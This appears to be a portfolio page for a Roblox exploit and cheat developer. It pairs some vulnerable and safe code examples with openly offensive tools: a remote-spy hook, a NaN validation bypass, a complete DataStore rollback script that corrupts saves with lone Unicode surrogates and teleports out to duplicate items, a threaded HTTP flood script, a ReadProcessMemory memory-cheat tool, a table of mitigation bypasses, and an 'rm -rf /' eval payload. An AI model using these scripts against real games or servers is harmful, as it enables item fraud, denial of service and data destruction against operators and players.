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RayVinz
EXPLOIT HUB|UNAUTHORIZED ACCESS DETECTED
PORTFOLIO

// luau exploit dev & cheat engineer

LUAU PYTHON C C#
ABOUT ME
Profile Picture
IC NAMERayVinz , 4z6933 , 406933
LOCATIONThailand
STATUS● ACTIVE
MY NAMEKevin
AGE19
OWNER HUBRayVinz
SPECIALTYSMART ON WRONG WAY
STACKLUA / PYTHON / C / C#
SCRIPTS200+

My name is Kevin.

I work as a Developer, Cheating and Exploit.

I build exploits & cheat hubs — specializing in Luau database, attack so many game around 350+ that we already attack.

Stack: Luau · Python · C · C#

My Dream is to beRICH.

ATTACK STATS
0
GAMES ATTACKED
confirmed bypasses
0
GAME ROLLBACKS
forced version reverts
0
SCRIPTS WRITTEN
active exploits
0
ANTICHEAT BYPASSES
detection evaded
LUAU CHEAT RATE99%
DATABASED ATTACK99%
ANTICHEAT BYPASS79%
PYTHON BOT65%
C / C# LOW-LEVEL51%
MY SPOTIFY
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PLAYLIST · RAYVINZ
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RAYVINZ HUB
KNOWLEDGE BASE
● SANDBOXED LUAU — RemoteEvent Exploit client→server trust abuse
✗ VULNERABLE SERVER
-- Server trusts client blindly
local re = game.ReplicatedStorage.GiveItem

re.OnServerEvent:Connect(
  function(player, itemId, amount)
    -- NO validation at all!
    player.Backpack:AddItem(itemId, amount)
    -- exploit: amount = math.huge
    -- itemId = "AdminSword"
  end
)
✓ SAFE SERVER
-- Server validates everything
local VALID = {sword=true, shield=true}
local MAX_AMT = 99

re.OnServerEvent:Connect(
  function(player, itemId, amt)
    if not VALID[itemId] then return end
    amt = math.clamp(amt, 1, MAX_AMT)
    player.Backpack:AddItem(itemId, amt)
  end
)
WHY IT WORKS: Roblox client can fire any RemoteEvent with any arguments. NEVER trust client input — always validate type, range, and whitelist item IDs server-side.
● EXPLOIT Hook Remote Spy intercept all server calls via metamethod
// REMOTE SPY — logs every FireServer / InvokeServer
local old
old = hookmetamethod(game, "__namecall", function(self, ...)
  local m = getnamecallmethod()
  if m == "FireServer" or m == "InvokeServer" then
    warn("[REMOTE]", self:GetFullName(), m, ...)
    -- self = the RemoteEvent/Function object
    -- ...  = all arguments being sent to server
  end
  return old(self, ...)  -- still call original
end)
NaN BYPASS: local nan = 0/0 — NaN bypasses both if amount > 0 and if amount <= 0 guards since all NaN comparisons return false. Use on amount-validation remotes.
● RCE RISK PYTHON — eval() & pickle Injection eval() on user input = Remote Code Execution
✗ VULNERABLE
# eval on user input = RCE
import pickle

def calc(expr):
  # attacker sends:
  # __import__('os').system('cmd')
  return eval(expr)

def load_save(data):
  # malicious pickle = RCE
  return pickle.loads(data)
✓ SAFE
# use ast.literal_eval instead
import ast, json

def calc(expr):
  ok = set('0123456789+-*/(). ')
  if not set(expr) <= ok:
      raise ValueError("blocked")
  return ast.literal_eval(expr)

def load_save(data):
  # JSON is safe, pickle is NOT
  return json.loads(data)
WHY IT WORKS: eval() executes any Python. Attacker sends __import__('os').system('rm -rf /') = full RCE. Never eval untrusted input. Never pickle.loads from network.
● TOOL Webhook Logger + Key Generator send exploit results to Discord
// DISCORD WEBHOOK
import requests

def send_log(url, pet, size, mut):
  data = {
    "username": "RayVinzHub",
    "embeds": [{
      "title": "🎉 Target Found!",
      "description": (
        f"Pet: **{pet}**\n"
        f"Size: **{size}**\n"
        f"Mut: **{mut}**"
      ),
      "color": 0x00e87a
    }]
  }
  requests.post(url, json=data)
// KEY GENERATOR
import secrets, string, hashlib

def gen_key(prefix="RVZ"):
  chars = (string.ascii_uppercase
         + string.digits)
  raw = ''.join(
    secrets.choice(chars)
    for _ in range(20))
  return f"{prefix}-{raw[:5]}-{raw[5:10]}-{raw[10:]}"

def hash_key(key):
  return hashlib.sha256(
    key.encode()).hexdigest()[:16].upper()

# RVZ-A3K9F-2X8QP-NM4RVWTJ
USAGE: hash_key() result is stored server-side. When user submits key, hash it and compare. Key is never stored raw.
● HIGH RISK C — Stack Buffer Overflow gets() / strcpy() — classic overflow primitive
✗ VULNERABLE
// NO bounds check — DANGEROUS
#include <stdio.h>
#include <string.h>

void login(char *input) {
  char buf[64];
  gets(buf);           // ← OVERFLOW
  strcpy(buf, input);  // ← no limit
  printf("Hello: %s\n", buf);
}
// input > 64 bytes → overwrites:
// [buf 64B][saved RBP][return addr]
✓ SAFE
// Bounded — SAFE version
#include <stdio.h>
#include <string.h>

void login(char *input) {
  char buf[64];
  fgets(buf, sizeof(buf), stdin);
  strncpy(buf, input, 63);
  buf[63] = '\0';
  printf("Hello: %s\n", buf);
}
// fgets/strncpy respect the limit
WHY IT WORKS: gets() writes past buf[64] → overwrites return address on stack → attacker controls EIP → shellcode runs. Always use fgets() with explicit size.
● HIGH RISK C — Heap Overflow & Stack Layout corrupt adjacent heap chunk → arbitrary write
✗ HEAP OVERFLOW
char *a = malloc(32);
char *b = malloc(32);
// a and b are adjacent on heap

// overflow a → corrupts b's header
memcpy(a, attacker_data, 64);
// b's malloc header is now corrupt
// free(b) → arbitrary write primitive
// STACK MEMORY MAP
// high address (top of stack frame)
┌────────────────────┐
│  return address    │ ← overwrite target
│  saved RBP         │
│  buf[48..63]       │
│  buf[32..47]       │
│  buf[16..31]       │
│  buf[ 0..15]       │ ← write starts here
└────────────────────┘
// low address (input enters here)
// 64B buf + 8B RBP + 8B RET = 80 bytes
PROTECTIONS: Stack Canary (detect overwrite), ASLR (randomize addresses), NX/DEP (no exec stack). Bypass: leak canary → overwrite; leak addr → bypass ASLR; ROP chains → bypass NX.
● CLR SAFE C# — unsafe Pointer Overflow only risky inside unsafe{} + stackalloc blocks
✗ VULNERABLE (unsafe block)
// unsafe — no CLR bounds checking!
unsafe {
  char* buf = stackalloc char[64];
  string input = GetInput();

  for (int i=0; i<input.Length; i++)
    buf[i] = input[i]; // no bound check
  // if input.Length > 64 → OVERFLOW
}
✓ SAFE (managed code)
// CLR auto-bounds-checks arrays
string input = GetInput();
char[] buf = new char[64];
Array.Copy(
  input.ToCharArray(), buf,
  Math.Min(input.Length, 64));

// Or Span<T> — safe stack slice:
Span<char> s = stackalloc char[64];
input.AsSpan(0, 64).CopyTo(s);
KEY POINT: C# is safe by default — CLR throws IndexOutOfRangeException on array overread. Overflow only possible inside unsafe{}. Never use unsafe on user-controlled input.
● TOOL C# — Memory Read / Write + AOB Scan ReadProcessMemory / signature scan via P/Invoke
// READ GAME MEMORY
using System.Runtime.InteropServices;

[DllImport("kernel32.dll")]
static extern bool ReadProcessMemory(
  IntPtr hProc, IntPtr addr,
  byte[] buf, int size, out int read);

// read 4 bytes (int) from address
byte[] buf = new byte[4];
ReadProcessMemory(proc.Handle,
  (IntPtr)0xDEADBEEF, buf, 4, out _);
int val = BitConverter.ToInt32(buf, 0);
// AOB SIGNATURE SCAN
// 0xFF = wildcard byte
byte[] Scan(byte[] mem, byte[] pat) {
  for (int i=0; i<mem.Length-pat.Length; i++){
    bool found = true;
    for (int j=0; j<pat.Length; j++){
      if (pat[j] != 0xFF
        && mem[i+j] != pat[j]){
        found=false; break;
      }
    }
    if (found)
      return BitConverter.GetBytes(i);
  }
  return null;
}
USAGE: AOB scan finds the function/value in memory even when ASLR randomizes the base address — the byte pattern stays the same between game versions.
● CONCEPT Buffer Overflow — How It Works write past buffer end → overwrite return address → hijack EIP
// NORMAL (20 bytes input)
┌─────────────────────┐ ← high addr
│ return addr 0x8048xx│  untouched ✓
│ saved RBP 0xffff00d0│  untouched ✓
│ buf[48–63] 00000000 │  untouched ✓
│ buf[32–47] 00000000 │  untouched ✓
│ buf[16–31] 41414141 │  ← written
│ buf[ 0–15] 41414141 │  ← write starts
└─────────────────────┘ ← low addr (input)
RESULT: function returns safely ✓
// OVERFLOW (80 bytes input)
┌─────────────────────┐ ← high addr
│ return addr 0x41414141│ ← HIJACKED!
│ saved RBP  41414141 │ ← overwritten
│ buf[48–63] 41414141 │  ← overflows
│ buf[32–47] 41414141 │  ← overflows
│ buf[16–31] 41414141 │  ← overflows
│ buf[ 0–15] 41414141 │  ← write starts
└─────────────────────┘ ← low addr (input)
RESULT: jumps to attacker shellcode
MATH: buf = 64 bytes. Input 80 bytes → 64 fill buf, 8 overwrite saved RBP, 8 overwrite return addr. Now when function does ret → CPU reads hijacked return address → jump to shellcode.
● MITIGATIONS Protections & Bypass Methods every defense has a known bypass technique
PROTECTION    │ WHAT IT DOES                │ BYPASS
──────────────┼─────────────────────────────┼──────────────────────────────
Stack Canary  │ random value before ret addr│ leak canary via format string
ASLR          │ randomize base addresses    │ info leak → calc offsets
NX / DEP      │ stack/heap not executable   │ ROP chains (ret-oriented prog)
PIE           │ position independent exe    │ partial overwrite (1-2 bytes)
CFG           │ validate indirect calls     │ vtable corruption
SafeSEH       │ validate exception handlers │ overwrite on older Windows
ROP CHAINS: Instead of injecting shellcode (blocked by NX), chain existing code snippets ("gadgets") ending in ret — each gadget does a small action, together they form a payload without new code.
● CONCEPT Stack vs Heap Memory different exploit paths — know where your data lives
// STACK
• Fixed size (~1–8 MB)
• Auto alloc / auto free
• Local variables
• Function call frames
• Fast (just move stack pointer)
• Grows DOWNWARD in memory

void foo() {
  int x = 5;    // stack alloc
  char buf[64]; // stack alloc
}
// freed automatically on return
OVERFLOW → overwrite return addr → RIP control
// HEAP
• Dynamic, large (GBs possible)
• Manual malloc() / free()
• Objects, arrays, long-lived data
• Slower (allocator overhead)
• Managed by ptmalloc / jemalloc
• Grows UPWARD in memory

char *p = malloc(64); // heap alloc
free(p);              // must free manually
p[0] = 'A';           // USE-AFTER-FREE!
OVERFLOW → corrupt chunk headers → arb write
USE-AFTER-FREE: free() returns memory to allocator. Next malloc() of same size gets that memory back. If attacker controls that allocation, they control the freed pointer → type confusion → code exec.
● EXPLOIT Use-After-Free (UAF) access freed memory → attacker-controlled vtable pointer
Object *obj = new Object();  // alloc at 0x1234
obj->doThing();              // ✓ fine

free(obj);                   // freed → 0x1234 reusable

// attacker allocates same size with controlled data:
char *evil = malloc(sizeof(Object));
// allocator returns 0x1234 again!
memcpy(evil, attacker_vtable, sizeof(Object));

obj->doThing();  // obj still points to 0x1234
                 // vtable ptr now → attacker code → PWNED
FIX: Set pointer to null after free: free(obj); obj = NULL; — then check before use. Modern allocators add poisoning to detect UAF bugs.
● ROBLOX How DataStore Works JSON serialize → key-value remote write → if it fails, no save
// NORMAL SAVE FLOW
local DS = game:GetService("DataStoreService")
local store = DS:GetDataStore("PlayerData")

game.Players.PlayerRemoving:Connect(
  function(player)
    local data = {
      gems  = player.Gems.Value,
      units = getUnits(player)
    }
    -- JSONEncode runs internally
    store:SetAsync(
      "Player_"..player.UserId, data)
    -- if JSONEncode throws → SetAsync
    -- never runs → NO SAVE → rollback
  end
)
✗ WHAT BREAKS JSONEncode
-- lone UTF-16 surrogates = invalid JSON
"\u{d800}"          -- lone high surrogate
"\u{dfff}"          -- lone low surrogate
string.char(0xed, 0xa0, 0x80)
                    -- raw UTF-8 of U+D800

-- inject via any remote that DataStore writes:
SettingsRemote:FireServer(
  "musicEnabled", "\u{d800}")

-- server: JSONEncode("\u{d800}") → ERROR
-- SetAsync never called → NO SAVE
-- on rejoin: last GOOD save loads ✓
WHY SURROGATES BREAK IT: Lone surrogates (U+D800–U+DFFF) are valid in Lua strings (just bytes) but the JSON spec forbids them. Roblox's JSONEncode throws a Lua error → pcall catches but SetAsync already skipped.
● EXPLOIT Rollback — Full Timeline corrupt DataStore save → restore previous snapshot → keep items
t=0  Player has 10 crates saved in DataStore
t=1  Player opens 10 crates → inventory: 0 crates + new items in memory
t=2  BEFORE autosave fires: inject unicode → corrupt pending save
       SettingsRemote:FireServer("key", "\u{d800}")
t=3  Player teleports out → server tries to save on PlayerRemoving
t=4  JSONEncode fails → SetAsync aborted → save SKIPPED
t=5  Player rejoins → DataStore:GetAsync loads LAST GOOD SAVE
t=6  Player has 10 crates AGAIN + keeps items from t=1 ✓
KEY TIMING: You must corrupt the save BEFORE the server's autosave timer fires AND BEFORE PlayerRemoving. Some games save every 5 min — teleport right after getting the item.
● SCRIPT Full Rollback Implementation fire unicode at all DataStore remotes → teleport out
local RS = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local TS = game:GetService("TeleportService")
local lp = Players.LocalPlayer

local function rollback()
  -- fire unicode at every remote that writes to DataStore
  local targets = {
    "CraftPotion", "Enchant", "EquipTitle",
    "EquipBanner", "DeleteUnit", "EquipUnit"
  }
  for _, name in ipairs(targets) do
    pcall(function()
      RS.Remotes.Functions[name]:InvokeServer("\u{d800}")
    end)
    task.wait(0.05)
  end
  -- leave server before retry save can complete
  if #Players:GetPlayers() <= 5 then
    TS:Teleport(game.PlaceId, lp)
  else
    TS:TeleportToPlaceInstance(game.PlaceId, game.JobId, lp)
  end
end

rollback()
TIP: Use the remote spy (LUAU tab) first to find which remotes in your target game write strings to DataStore. More hits = higher chance of corrupting the save.
● NETWORK DDoS — Distributed Denial of Service flood target with traffic → server unable to respond → crash
// ATTACK TYPE OVERVIEW
TYPELAYERMETHODGOAL
UDP Flood L3/L4 Spam UDP packets → target wastes CPU checking ports Bandwidth exhaust
SYN Flood L4 TCP Send SYN, never ACK → fill connection table with half-open states Connection exhaust
HTTP Flood L7 App Spam valid HTTP GET/POST → server processes each, CPU dies CPU / DB exhaust
DNS Amplify L3/L7 Spoof victim's IP → DNS sends huge response to victim (70× amp) Bandwidth amplify
Slowloris L7 App Open many connections, send partial HTTP headers, never finish Thread pool exhaust
DISTRIBUTED: DDoS uses a botnet (thousands of compromised machines) so traffic comes from many IPs — can't just block one IP. Volumetric attacks can hit Tbps level.
● SIMULATION HTTP Flood vs Rate Limiting (Python) server with no rate limit vs protected server
✗ NO PROTECTION
# Attacker side — HTTP flood
import threading, requests

TARGET = "http://target.com/api"

def flood():
  while True:
    try:
      requests.get(TARGET, timeout=1)
    except: pass

# launch 500 threads = 500 reqs/sec
for _ in range(500):
  threading.Thread(
    target=flood, daemon=True
  ).start()

# server CPU → 100%, OOM crash
✓ RATE LIMITING (Flask)
# Server side — rate limit per IP
from flask import Flask, request, abort
from collections import defaultdict
import time

app = Flask(__name__)
hits = defaultdict(list)

def rate_limit(ip, limit=30, window=60):
  now = time.time()
  hits[ip] = [t for t in hits[ip]
              if now-t < window]
  if len(hits[ip]) >= limit:
    abort(429)  # Too Many Requests
  hits[ip].append(now)

@app.route('/api')
def api():
  rate_limit(request.remote_addr)
  return "OK"
REAL PROTECTIONS: Rate limiting (per IP), CDN (Cloudflare absorbs traffic), anycast routing (distribute across PoPs), firewall ACLs (block known bad CIDRs), SYN cookies (stateless TCP handshake), CAPTCHA for L7 floods.
● ROBLOX CONTEXT Server Stress via Remote Spam fire remotes at max rate → server thread exhaustion → lag kick
✗ SERVER-SIDE (no throttle)
-- Each call does heavy computation
remote.OnServerEvent:Connect(
  function(player)
    -- no call rate check!
    local result = heavyCalculation()
    DataStore:SetAsync(key, result)
    -- attacker fires 60x/sec
    -- server CPU spikes → lag kick
  end
)
✓ THROTTLED (server-side)
local lastCall = {}
local COOLDOWN = 1  -- 1 sec min

remote.OnServerEvent:Connect(
  function(player)
    local now = os.clock()
    local uid = player.UserId
    if (now - (lastCall[uid] or 0))
       < COOLDOWN then return end
    lastCall[uid] = now
    -- safe to process
  end
)
ROBLOX LIMITS: Roblox already throttles FireServer to ~60/sec client-side, but server-side you still need per-player cooldowns on expensive operations. DataStore also has a budget limit (60 writes/min for whole server).
LABS
STACK MEMORY 0 / 16 slots — 0%
[ STACK EMPTY — PUSH DATA ]
ready.
[ DataStore Attack Simulator — press RUN ATTACK ]
NORMAL STATE
Player data is saved. DataStore is healthy. Inventory intact.
DataStore:SetAsync("Player_123", { gems=500, units=12 })
EXPLOIT FIRES
Unicode surrogate pair injected into a settings remote before autosave.
SettingsRemote:FireServer("\u{d800}\u{dfff}")
DATASTORE CORRUPTED
JSONEncode fails on surrogate. DataStore throws error. Save aborted.
[ERROR] DataStore write failed: invalid UTF-8 sequence
PLAYER TELEPORTS
Player leaves the server before retry save can complete.
TeleportService:Teleport(game.PlaceId, lp)
ROLLBACK COMPLETE
Roblox loads last valid snapshot. Previous inventory restored.
DataStore:GetAsync("Player_123") → { gems=500, units=12 } ✓
404
PAGE NOT FOUND — UNAUTHORIZED ACCESS DETECTED
RayVinzHub Error Report
> attempting to locate resource...
> path: /restricted/payload/execute
> status: ACCESS_DENIED
> code: 0x0000_404
> handler: nullPtr exception at 0x7fff_dead
> stack trace:
  at exploit.loadstring [0x00beef]
  at remote.InvokeServer [0x00cafe]
  at rollback.execute [0x00dead]
> SYSTEM HALTED — press SIMULATE to replay
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LITECOIN LVdbHJPGxNa6... COPIED!
BINANCE ID 376925940 COPIED!
USDT BEP20 0xb7a4909f... COPIED!
PROMPTPAY 🇹🇭 0838628791 COPIED!
RAYVINZ //EXPLOIT HUB //\255\0\127 //200+ GAMES ATTACKED //200+ ROLLBACKS //LUAU INJECTOR //string.rep("RAYVINZ",100000) // RAYVINZ //EXPLOIT HUB //\255\0\127 //200+ GAMES ATTACKED //200+ ROLLBACKS //LUAU INJECTOR //string.rep("RAYVINZ",100000) //